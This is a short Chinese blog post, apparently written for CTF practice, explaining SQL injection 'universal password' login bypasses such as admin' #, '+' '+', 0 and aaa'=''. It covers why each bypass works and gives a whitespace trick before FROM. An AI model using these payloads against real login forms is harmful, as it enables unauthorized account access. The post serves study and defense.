zoukankan      html  css  js  c++  java
  • CTF-sql-万能密码

    以下是我在学习sql注入时的一些感想分享,希望能帮助到大家,如有错误,望指出。

    万能密码的种类:

    ①select * from admin where username =“” and password = “”

    ②admin‘ #

    ③’+‘   ’+‘

    ④0

    ⑤Aaa’ = ‘

    在以下的select语句中的username和password可类似看作为字符串变量

    select * from user where username = ‘admin’ and password = ‘yi’;

    该语句的判断逻辑是什么呢?

    就是当username =‘admin’和password=’yi’都为真时执行成功。

    那么就是说不管怎么样,只要这两项都为真就行了这就意味着即使用户名和密码都不正确,只要让这两项都为真就能执行成功该逻辑就是②③条的注入原理

    ①select * from user where username = ‘chen’ # ‘ and password = ‘qian’;

    ②select * from user where username = ‘ ‘+’ ‘ and password = ‘ ‘+’ ‘;(有局限) 

    select ‘ ‘+’ ‘;

    select ‘qian’=0;

    select ‘1qian’=0;

    仅对于username和password的值为非数字开头的字符串有效。Eg:’q123’

    在这里select语句中的username和password可类似看作为字符串变量,那么等于非数字开头字符串的变量在转化为int形式时就为0(这里的=号不是赋值符号,就是数学上=号的作用)

    ③select * from user where username = 0 and password = 0; 

    在这里username和password可类似看作为字符串变量,那么非数字开头的字符串在转化为int形式就为0(和③原理一样,就是表现手法不同而已)

    ④select * from user where username = ‘aaa’=’ ‘ and password = ‘aaa’=’ ‘; 

    select ‘aaa’=’a’;(执行结果为0) 

    select ‘aaa’=’a’=’ ‘; 

    判断逻辑:username=’aaa’为假,假=’ ‘又变为了真,password一样(前提username与password都不为’aaa’)%e6%b5%85%e6%98%93%e6%b7%b1

    ⑤select Nfrom user;(执行成功,在N与from之间没空格)

    select 1from;(执行失败,因为1与from之间没空格)

    select 1,2,Nfrom user;(执行成功,在2与from之间没空格) 

    该技巧在from的左端不能输空格的时候,可以考虑能不能使用该方法进行绕过。

  • 相关阅读:
    SQL-W3School-高级:SQL CHECK 约束
    SQL-W3School-高级:SQL FOREIGN KEY 约束
    SQL-W3School-高级:SQL PRIMARY KEY 约束
    SQL-W3School-高级:SQL UNIQUE 约束
    ylbtech-SQL-W3School-高级:SQL NOT NULL 约束
    SQL-W3School-高级:SQL 约束(Contraints)
    SQL-W3School-高级:SQL CREATE TABLE 语句
    SQL-W3Chool-高级:SQL CREATE DATABASE 语句
    SQL-W3School-高级:SQL SELECT INTO 语句
    02:输出最高分数的学生姓名
  • 原文地址:https://www.cnblogs.com/02SWD/p/CTF-sql-password.html
Copyright © 2011-2022 走看看